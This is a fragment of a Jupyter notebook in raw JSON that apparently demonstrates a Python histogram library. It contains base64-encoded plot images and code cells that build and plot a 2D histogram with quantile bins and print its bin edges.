NJ+1fILkacAnkjwB+B7w+4waGq2cnG6wSFLPtX3Z/KpaC0w1DtPKyekGiyQNgJd0kSS1ymCRJLXKO0hKklrTp0viT8JgkaQBMFgkSa0yWCRJrTJYJEmtMlgkSa1JMqg7SBoskjQAtlgkSa0yWCRJrfE8FklS6wwWSVKrDBZJUquGdK2wLVaa5NQky+aiGEnSr5r07pF9adVMEoFPAb6R5MIkR6YvlUvSArJo0aKJHn2wxSqq6k+AA4BzgdcBtyT5b0n+3bZ+eZLzktyT5LqxdbsluSTJLc2zrSVJC96QWiwTjbFUVSW5C7gLeBhYBnw6ySVV9cfb8P0fA84G/nZs3RnApVV1VpIzmuW3bW4nSXjDG96wDWWoT7bbbjuOOuqorsvYxEEHHdR1CVrg+hIak9hisCT5I+Ak4F7gI8Bbq+qXSRYBtwAzDpaq+mqS/R63+hjgxc3rNcAVbCFYFi9ezO233z7TMtQzT33qUznnnHO6LuMxp512GpdddlnXZWgB61NrZBKTtFh2B15VVZv8z11VjyY5ehZq2rOqNjTfsSHJHrPwHZI0KPPqWmFV9aebee/GdsuZXJJVwCqA5cuXd1WGJM2JIbVY+jGFYFN3J1kB0DzfM9VGVbW6qlZW1cqdd955TguUpLk0H6cbz7WLGY3p0Dxf1GEtktQLQwqWTs+8T3I+o4H63ZOsB94JnAVcmORkYB1wXHcVSlI/9OUclUl0GixV9epp3jpiTguRpB7rU2tkEl4rTJIGwBaLJKlVBoskqTV2hUmSWmewSJJaZbBIklplsEiSWpNkfl0rTJLUPVsskqRWDSlYhjMxWpIWqCSt35o4yeIk30ry981ya3fvNVgkaQBm4SKUpwPjtz7ZePfeA4BLm+UZMVgkaQDaDJYk+wAvZ3RX4I2OYXTXXprnY2daq2MskjQAW9HNtXuSa8aWV1fV6sdt8wFGt5Ufv5lVa3fvNVgkqec2jrFM6N6qWrmZfR0N3FNV1yZ5cQvl/QqDRZIGoMVZYS8EXpHkZcAOwC5JPk5z996mtTLt3Xsn4RiLJA1AW2MsVXVmVe1TVfsBJwCXVdVraPHuvfOixfLoo49y8MEHd12GWvLggw+yatWqrst4zJIlSzj88MO7LkMDdOWVV7a2rzk4j6W1u/fOi2BZtGgRa9eu7boMteTZz342N9xwQ9dlPOYZz3gG73//+7suQwvYVo6xTKyqrgCuaF7/iJbu3jsvgkWS5rshnXlvsEjSABgskqRWGSySpNZ4a2JJUusMFklSqwwWSVKrZmO68WwZTqWSpEGwxSJJPTe0wfvetliSHJnk5iS3JpnxDWckaT6YhRt9zZpeBkuSxcCHgKOAA4FXJzmw26okqTsGy7Y7BLi1qr5XVb8ALmB0dzNJWpCGFCx9HWPZG7hjbHk9cOj4BklWAasAli9fPneVSdIcm62LUM6WvlY6VezWJgtVq6tqZVWt3HnnnafYXJLmjyG1WPoaLOuBfceW9wHu7KgWSdJW6GuwfAM4IMn+SZ7A6C5nF3dckyR1Zkgtll6OsVTVw0lOBb4ILAbOq6rrOy5LkjrTl9CYRC+DBaCq/gH4h67rkKQ+MFgkSa0Z2qwwg0WSBsAWiySpVQaLJKlVQwqW4XTaSZIGwRaLJPVcn85RmYTBIkkD4KwwSVKrbLFIklplsEiSWjO0MZbhdNpJkgbBFoskDcCQWiwGiyQNgMEiSWqVwSJJapXBIklqjbPCJEkLmsEiSQPQ1j3vk+yb5PIkNya5PsnpzfrdklyS5JbmedlMazVYJGkA2goW4GHgLVX1TOAw4I1JDgTOAC6tqgOAS5vlGTFYJGkA2gqWqtpQVd9sXv8MuBHYGzgGWNNstgY4dqa1OngvSQOwFYP3uye5Zmx5dVWtnmaf+wHPBa4C9qyqDTAKnyR7zLRWg0WSem4rZ4XdW1UrJ9jnTsDfAW+qqn9tc9aZXWGStMAk2Y5RqHyiqj7TrL47yYrm/RXAPTPdv8EiSQPQ4qywAOcCN1bVX429dTFwUvP6JOCimdZqV5gkDUCLd5B8IfBa4DtJ1jbr3g6cBVyY5GRgHXDcTL/AYJGkBaSqvgZM17Q5oo3vMFgkaQC8pMsWJDmuOePz0SQrH/femUluTXJzkpd2UZ8k9cmk4yt9CZ+uWizXAa8Czhlf2Zz9eQLwLGAv4MtJfr2qHpn7EiVJM9FJsFTVjTBl0+4Y4IKqegi4LcmtwCHAlXNboST1S19aI5Po2xjL3sDXx5bXN+t+RZJVwCqA5cuXz35lktShFmeFzbpZC5YkXwaeMsVb76iq6eZHTxXJNdWGzSUKVgPsv//+U24jSZp7sxYsVfWSGXxsPbDv2PI+wJ3tVCRJwzWkrrC+ta0uBk5Isn2S/YEDgKs7rkmSOjW0WWFdTTd+ZZL1wG8Cn0vyRYCquh64ELgB+ALwRmeESdKwdDUr7LPAZ6d5793Au+e2Iknqt760RibRt1lhkqQpGCySpFYNKVj6NngvSRo4WyyS1HN9mvE1CVsskqRW2WKRpAEYUovFYJGkARhSsNgVJklqlS0WSRoAWyySpAXLFoskDYAtFknSgmWLRZJ6zhMkJUkLmi0WSRoAWyySpAXLFoskDYAtFknSgmWLRZIGYEgtFoNFkgZgSMFiV5gkqVW2WCSp5zxBUpK0oNlikaQBGFKLxWCRpAEYUrDYFSZJC0ySI5PcnOTWJGe0vX+DRZIGYOMA/pYeE+xnMfAh4CjgQODVSQ5ss1aDRZIWlkOAW6vqe1X1C+AC4Jg2vyBV1eb+OpHkh8DtE2y6O3DvLJfThiHUOYQaYRh1DqFGsM6ZeFpVPXlbd5LkC4z+XJPYAXhwbHl1Va0e29fvAUdW1R80y68FDq2qU7e1zo3mxeD9pH9xSa6pqpWzXc+2GkKdQ6gRhlHnEGoE6+xSVR3Z4u6m6i9rtYVhV5gkLSzrgX3HlvcB7mzzCwwWSVpYvgEckGT/JE8ATgAubvML5kVX2FZYveVNemEIdQ6hRhhGnUOoEaxzXqiqh5OcCnwRWAycV1XXt/kd82LwXpLUH3aFSZJaZbBIklo1r4MlyelJrktyfZI3Nes+mWRt8/h+krU9rPHgJF9varwmySFd1tjUNFWdz0lyZZLvJPk/SXbpoK7zktyT5LqxdbsluSTJLc3zsrH3zmwuY3Fzkpf2rcYky5NcnuT+JGfPRX0zrPM/Jbm2+bu/NsnhPazxkLF/699O8sq5qFFAVc3LB3AQcB2wI6NJCl8GDnjcNn8J/GnfagS+BBzVbPMy4Io+/iwZzS757Wab1wN/1kFtLwKeB1w3tu69wBnN6zOA9zSvDwS+DWwP7A98F1jcsxqXAv8ROAU4u8c/y+cCe439fvyghzXuCCxpXq8A7tm47GN2H/O5xfJM4OtV9fOqehj4CvDYEUtGF9U5Hji/o/pg+hoL2Hj0vystzzGfgenqfAbw1WabS4DfnevCquqrwI8ft/oYYE3zeg1w7Nj6C6rqoaq6DbiV0eUtelNjVT1QVV9j0zOn58RW1vmtqtr4e3k9sEOS7XtW48bfVxidje5MpTkyn4PlOuBFTdfCjoyO/MdPCvot4O6quqWT6kamq/FNwF8kuQN4H3BmdyUC09d5HfCKZpvj2PTn26U9q2oDQPO8R7N+b+COse3WN+u6MF2NfTNJnb8LfKuqHprTyv7NtDUmOTTJ9cB3gFPGgkazaN4GS1XdCLyH0ZH0Fxh1gYz/Ur2ablsrm6vxvwJvrqp9gTcD53ZWJJut8/XAG5NcC+wM/KKzIicz65eyWGiSPIvR78Yfdl3LVKrqqqp6FvB84MwkO3Rd00Iwb4MFoKrOrarnVdWLGDWfbwFIsgR4FfDJLuuDaWs8CfhMs8mnmIPumi2Zqs6quqmqfqeqfoNRSH+32yofc3eSFQDN8z3N+lm/lMVWmK7Gvpm2ziT7AJ8FTqyqLv/ut/izbA6OHmA0HqRZNq+DJckezfNTGQXJxhbKS4Cbqmp9V7VtNE2NdwK/3WxyOE0gdmmqOsfWLQL+BPif3VW4iYsZhTPN80Vj609Isn2S/RlNQLi6g/o21jJVjX0zZZ1JngR8Djizqv6pm9IeM12N+zcHkSR5GqMxwe93UeCC0/Xsgdl8AP8I3MCo6+aIsfUfY9Tf2ssaGc0KurZZdxXwGz2t83Tg/zaPs2iu5DDHdZ0PbAB+yahFcjKwHLiUUSBfCuw2tv07GLWsbqaZedfDGr/PqFV4f7P9gX2rk9GBxAPA2rHHHj2r8bWMJhasBb4JHDvXv58L9eElXSRJrZrXXWGSpLlnsEiSWmWwSJJaZbBIklplsEiSWmWwSJJaZbBIklplsEhAkucn+ZckOyRZ2tx3xst/SDPgCZJSI8mfM7q8+hOB9VX13zsuSRokg0VqJHkCo5uXPQi8oKoe6bgkaZDsCpP+zW7AToxuAeDl1aUZssUiNZJcDFzA6LbFK6rq1I5LkgZpSdcFSH2Q5ETg4ar630kWA/+c5PCquqzr2qShscUiSWqVYyySpFYZLJKkVhkskqRWGSySpFYZLJKkVhkskqRWGSySpFb9f+pK0CdIw4boAAAAAElFTkSuQmCC\n", "text/plain": [ "<Figure size 432x288 with 2 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "histogram = h2(x, y, \"quantile\", bin_count=[3, 4], name=\"Quantile bins\", axis_names=[\"x\", \"y\"])\n", "histogram.plot(cmap_min=0);\n", "histogram.numpy_bins" ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "[array([ 96., 98., 100., 102., 104.]),\n", " array([-20., -10., 0., 10., 20., 30., 40., 50.])]" ] }, "execution_count": 10, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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